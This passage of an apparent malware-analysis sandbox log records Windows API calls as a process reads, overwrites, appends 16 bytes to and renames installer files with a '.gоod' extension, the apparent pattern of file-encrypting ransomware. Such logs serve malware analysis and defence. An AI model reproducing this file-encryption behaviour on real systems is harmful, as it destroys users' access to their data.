"c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0075.489] GetFileType (hFile=0x6b4) returned 0x1 [0075.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0075.489] GetFileType (hFile=0x6b4) returned 0x1 [0075.489] ReadFile (in: hFile=0x6b4, lpBuffer=0x3435a90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6a8, lpOverlapped=0x0 | out: lpBuffer=0x3435a90*, lpNumberOfBytesRead=0x1f6ee6a8*=0x1000, lpOverlapped=0x0) returned 1 [0075.912] CloseHandle (hObject=0x6b4) returned 1 [0075.912] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\SetupUi.xsd", lpFilePart=0x0) returned 0x21 [0075.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0075.912] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0075.913] GetFileType (hFile=0x6b4) returned 0x1 [0075.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0075.913] GetFileType (hFile=0x6b4) returned 0x1 [0075.913] WriteFile (in: hFile=0x6b4, lpBuffer=0x3434838*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ee758, lpOverlapped=0x0 | out: lpBuffer=0x3434838*, lpNumberOfBytesWritten=0x1f6ee758*=0x1010, lpOverlapped=0x0) returned 1 [0075.913] CloseHandle (hObject=0x6b4) returned 1 [0075.914] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\SetupUi.xsd", lpFilePart=0x0) returned 0x21 [0075.914] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.gоod", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\SetupUi.xsd.gоod", lpFilePart=0x0) returned 0x26 [0075.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee690) returned 1 [0075.915] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), fInfoLevelId=0x0, lpFileInformation=0x1f6ee770 | out: lpFileInformation=0x1f6ee770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x29759686, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x75b8)) returned 1 [0075.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee650) returned 1 [0075.915] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), lpNewFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.gоod" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.gоod")) returned 1 [0075.915] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\SetupUtility.exe", lpFilePart=0x0) returned 0x26 [0075.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee6d0) returned 1 [0075.915] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), fInfoLevelId=0x0, lpFileInformation=0x3729b40 | out: lpFileInformation=0x3729b40*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758)) returned 1 [0075.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee690) returned 1 [0075.916] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\SetupUtility.exe", lpFilePart=0x0) returned 0x26 [0075.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0075.916] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0075.916] GetFileType (hFile=0x6b4) returned 0x1 [0075.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0075.916] GetFileType (hFile=0x6b4) returned 0x1 [0075.916] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x1000 [0075.916] ReadFile (in: hFile=0x6b4, lpBuffer=0x3729ee8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6f8, lpOverlapped=0x0 | out: lpBuffer=0x3729ee8*, lpNumberOfBytesRead=0x1f6ee6f8*=0x1000, lpOverlapped=0x0) returned 1 [0075.917] CloseHandle (hObject=0x6b4) returned 1 [0075.917] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\SetupUtility.exe", lpFilePart=0x0) returned 0x26 [0075.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0075.917] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0075.917] GetFileType (hFile=0x6b4) returned 0x1 [0075.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0075.918] GetFileType (hFile=0x6b4) returned 0x1 [0075.918] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x17758 [0075.918] WriteFile (in: hFile=0x6b4, lpBuffer=0x372b148*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ee618, lpOverlapped=0x0 | out: lpBuffer=0x372b148*, lpNumberOfBytesWritten=0x1f6ee618*=0x10, lpOverlapped=0x0) returned 1 [0075.919] CloseHandle (hObject=0x6b4) returned 1 [0075.922] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\SetupUtility.exe", lpFilePart=0x0) returned 0x26 [0075.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0075.922] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0075.922] GetFileType (hFile=0x6b4) returned 0x1 [0075.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0075.923] GetFileType (hFile=0x6b4) returned 0x1 [0075.923] ReadFile (in: hFile=0x6b4, lpBuffer=0x372d3d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6a8, lpOverlapped=0x0 | out: lpBuffer=0x372d3d0*, lpNumberOfBytesRead=0x1f6ee6a8*=0x1000, lpOverlapped=0x0) returned 1 [0076.628] CloseHandle (hObject=0x6b4) returned 1 [0076.628] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\SetupUtility.exe", lpFilePart=0x0) returned 0x26 [0076.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0076.628] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0076.628] GetFileType (hFile=0x6b4) returned 0x1 [0076.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0076.628] GetFileType (hFile=0x6b4) returned 0x1 [0076.628] WriteFile (in: hFile=0x6b4, lpBuffer=0x32321e8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ee758, lpOverlapped=0x0 | out: lpBuffer=0x32321e8*, lpNumberOfBytesWritten=0x1f6ee758*=0x1010, lpOverlapped=0x0) returned 1 [0076.628] CloseHandle (hObject=0x6b4) returned 1 [0076.631] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\SetupUtility.exe", lpFilePart=0x0) returned 0x26 [0076.631] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\SetupUtility.exe.gоod", lpFilePart=0x0) returned 0x2b [0076.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee690) returned 1 [0076.631] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f6ee770 | out: lpFileInformation=0x1f6ee770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x29e346b4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x17768)) returned 1 [0076.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee650) returned 1 [0076.631] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), lpNewFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.gоod" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.gоod")) returned 1 [0076.631] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\SplashScreen.bmp", lpFilePart=0x0) returned 0x26 [0076.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee6d0) returned 1 [0076.632] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), fInfoLevelId=0x0, lpFileInformation=0x3422350 | out: lpFileInformation=0x3422350*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078)) returned 1 [0076.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee690) returned 1 [0076.632] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\SplashScreen.bmp", lpFilePart=0x0) returned 0x26 [0076.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0076.632] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0076.632] GetFileType (hFile=0x6b4) returned 0x1 [0076.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0076.632] GetFileType (hFile=0x6b4) returned 0x1 [0076.632] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x1000 [0076.632] ReadFile (in: hFile=0x6b4, lpBuffer=0x34226f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6f8, lpOverlapped=0x0 | out: lpBuffer=0x34226f8*, lpNumberOfBytesRead=0x1f6ee6f8*=0x1000, lpOverlapped=0x0) returned 1 [0076.750] CloseHandle (hObject=0x6b4) returned 1 [0076.950] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\SplashScreen.bmp", lpFilePart=0x0) returned 0x26 [0076.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0076.950] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0076.950] GetFileType (hFile=0x768) returned 0x1 [0076.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0076.950] GetFileType (hFile=0x768) returned 0x1 [0076.950] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0xa078 [0076.950] WriteFile (in: hFile=0x768, lpBuffer=0x3455ba0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ee618, lpOverlapped=0x0 | out: lpBuffer=0x3455ba0*, lpNumberOfBytesWritten=0x1f6ee618*=0x10, lpOverlapped=0x0) returned 1 [0076.951] CloseHandle (hObject=0x768) returned 1 [0076.953] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\SplashScreen.bmp", lpFilePart=0x0) returned 0x26 [0076.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0076.953] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0076.953] GetFileType (hFile=0x768) returned 0x1 [0076.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0076.954] GetFileType (hFile=0x768) returned 0x1 [0076.954] ReadFile (in: hFile=0x768, lpBuffer=0x3457e28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6a8, lpOverlapped=0x0 | out: lpBuffer=0x3457e28*, lpNumberOfBytesRead=0x1f6ee6a8*=0x1000, lpOverlapped=0x0) returned 1 [0077.100] CloseHandle (hObject=0x768) returned 1 [0077.100] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\SplashScreen.bmp", lpFilePart=0x0) returned 0x26 [0077.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0077.100] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0077.100] GetFileType (hFile=0x768) returned 0x1 [0077.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0077.100] GetFileType (hFile=0x768) returned 0x1 [0077.100] WriteFile (in: hFile=0x768, lpBuffer=0x3276938*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ee758, lpOverlapped=0x0 | out: lpBuffer=0x3276938*, lpNumberOfBytesWritten=0x1f6ee758*=0x1010, lpOverlapped=0x0) returned 1 [0077.100] CloseHandle (hObject=0x768) returned 1 [0077.102] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\SplashScreen.bmp", lpFilePart=0x0) returned 0x26 [0077.102] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.gоod", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\SplashScreen.bmp.gоod", lpFilePart=0x0) returned 0x2b [0077.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee690) returned 1 [0077.102] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1f6ee770 | out: lpFileInformation=0x1f6ee770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x2a2ac9e2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa088)) returned 1 [0077.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee650) returned 1 [0077.102] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), lpNewFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.gоod" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.gоod")) returned 1 [0077.103] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Strings.xml", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Strings.xml", lpFilePart=0x0) returned 0x21 [0077.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee6d0) returned 1 [0077.103] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), fInfoLevelId=0x0, lpFileInformation=0x32e1140 | out: lpFileInformation=0x32e1140*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704)) returned 1 [0077.109] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee690) returned 1 [0077.109] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Strings.xml", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Strings.xml", lpFilePart=0x0) returned 0x21 [0077.109] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0077.109] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0077.109] GetFileType (hFile=0x768) returned 0x1 [0077.109] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0077.109] GetFileType (hFile=0x768) returned 0x1 [0077.109] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x1000 [0077.109] ReadFile (in: hFile=0x768, lpBuffer=0x32e14b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6f8, lpOverlapped=0x0 | out: lpBuffer=0x32e14b8*, lpNumberOfBytesRead=0x1f6ee6f8*=0x1000, lpOverlapped=0x0) returned 1 [0077.111] CloseHandle (hObject=0x768) returned 1 [0077.111] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Strings.xml", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Strings.xml", lpFilePart=0x0) returned 0x21 [0077.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0077.111] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0077.111] GetFileType (hFile=0x768) returned 0x1 [0077.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0077.111] GetFileType (hFile=0x768) returned 0x1 [0077.111] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6ee728*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6ee728*=0) returned 0x3704 [0077.111] WriteFile (in: hFile=0x768, lpBuffer=0x32e27a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ee618, lpOverlapped=0x0 | out: lpBuffer=0x32e27a8*, lpNumberOfBytesWritten=0x1f6ee618*=0x10, lpOverlapped=0x0) returned 1 [0077.112] CloseHandle (hObject=0x768) returned 1 [0077.331] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Strings.xml", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Strings.xml", lpFilePart=0x0) returned 0x21 [0077.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0077.332] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0077.332] GetFileType (hFile=0x768) returned 0x1 [0077.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0077.332] GetFileType (hFile=0x768) returned 0x1 [0077.332] ReadFile (in: hFile=0x768, lpBuffer=0x3470b78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ee6a8, lpOverlapped=0x0 | out: lpBuffer=0x3470b78*, lpNumberOfBytesRead=0x1f6ee6a8*=0x1000, lpOverlapped=0x0) returned 1 [0078.140] CloseHandle (hObject=0x768) returned 1 [0078.140] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Strings.xml", nBufferLength=0x105, lpBuffer=0x1f6ee0b0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Strings.xml", lpFilePart=0x0) returned 0x21 [0078.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee5d0) returned 1 [0078.140] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0078.140] GetFileType (hFile=0x768) returned 0x1 [0078.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee540) returned 1 [0078.140] GetFileType (hFile=0x768) returned 0x1 [0078.140] WriteFile (in: hFile=0x768, lpBuffer=0x3114a28*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ee758, lpOverlapped=0x0 | out: lpBuffer=0x3114a28*, lpNumberOfBytesWritten=0x1f6ee758*=0x1010, lpOverlapped=0x0) returned 1 [0078.140] CloseHandle (hObject=0x768) returned 1 [0078.141] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Strings.xml", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Strings.xml", lpFilePart=0x0) returned 0x21 [0078.141] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\Strings.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\Strings.xml.gоod", lpFilePart=0x0) returned 0x26 [0078.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee690) returned 1 [0078.141] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6ee770 | out: lpFileInformation=0x1f6ee770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x2aca6d49, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3714)) returned 1 [0078.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ee650) returned 1 [0078.141] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Strings.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\strings.xml.gоod")) returned 1 [0078.142] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml", nBufferLength=0x105, lpBuffer=0x1f6ee200, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\UiInfo.xml", lpFilePart=0x0) returned 0x20 [0078.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ee6d0) returned 1 